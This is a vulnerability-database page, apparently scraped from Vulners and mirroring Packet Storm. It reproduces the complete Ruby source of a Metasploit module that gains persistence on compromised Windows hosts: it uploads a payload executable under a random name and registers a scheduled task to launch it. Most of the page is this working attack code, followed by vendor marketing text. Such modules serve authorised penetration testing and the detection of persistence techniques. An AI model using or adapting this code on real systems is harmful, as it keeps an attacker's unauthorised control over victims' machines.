Lucene search
K

📄 Windows Persistent Task Scheduler

🗓️ 31 Oct 2025 00:00:00Reported by h00dieType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 130 Views

This module creates a Windows scheduled task to persistently run a payload.

Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = ExcellentRanking
    
      include Msf::Post::File
      include Msf::Exploit::EXE
      include Msf::Exploit::Local::Persistence
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Post::Windows::TaskScheduler
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Windows Persistent Task Scheduler',
            'Description' => %q{
              This module establishes persistence by creating a scheduled task to run a payload.
            },
            'License' => MSF_LICENSE,
            'Author' => [ 'h00die' ],
            'Platform' => [ 'win' ],
            'Privileged' => true,
            'SessionTypes' => [ 'meterpreter', 'shell' ],
            'Targets' => [
              [ 'Automatic', {} ]
            ],
            'DefaultTarget' => 0,
            'References' => [
              ['ATT&CK', Mitre::Attack::Technique::T1053_005_SCHEDULED_TASK],
              ['URL', 'https://learn.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page']
            ],
            'DisclosureDate' => '1998-05-15', # windows 98 release date which included "modern" task scheduler
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
              'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
            }
          )
        )
    
        register_options(
          [
            OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
            OptString.new('TASK_NAME', [false, 'The name of task. Random string as default.' ]),
          ]
        )
    
        # not needed since this is not remote
        deregister_options(
          'ScheduleRemoteSystem',
          'ScheduleUsername',
          'SchedulePassword',
          'ScheduleObfuscationTechnique' # prefer NONE so we can start our service
        )
      end
    
      def writable_dir
        d = super
        return session.sys.config.getenv(d) if d.start_with?('%')
    
        d
      end
    
      def check
        print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
        return CheckCode::Safe("#{writable_dir} doesn't exist") unless exists?(writable_dir)
    
        begin
          get_system_privs
        rescue StandardError
          return CheckCode::Safe('You need higher privileges to create scheduled tasks ')
        end
    
        CheckCode::Appears('Likely exploitable')
      end
    
      def upload_payload(dest_pathname)
        payload_exe = generate_payload_exe
        fail_with(Failure::UnexpectedReply, "Error writing payload to: #{dest_pathname}") unless write_file(dest_pathname, payload_exe)
        vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
      end
    
      def install_persistence
        payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
        temp_path = writable_dir
        payload_pathname = temp_path + '\\' + payload_name + '.exe'
        upload_payload(payload_pathname)
    
        task_name = datastore['TASK_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
        vprint_status("Creating task: #{task_name}")
        begin
          task_create(task_name, payload_pathname, { obfuscation: 'NONE' })
        rescue TaskSchedulerObfuscationError => e
          print_warning(e.message)
          print_good('Task created without obfuscation')
        rescue TaskSchedulerError => e
          fail_with(Failure::UnexpectedReply, "Task creation error: #{e}")
        end
    
        vprint_status("Starting task: #{task_name}")
        task_start(task_name)
        schtasks_cmd = ['/delete', '/tn', task_name, '/f'] # taken from task_delete in task_scheduler.rb
        @clean_up_rc << "execute -f cmd.exe -a \"/c #{get_schtasks_cmd_string(schtasks_cmd)}\"\n"
        @clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Oct 2025 00:00Current
7High risk
Vulners AI Score7
130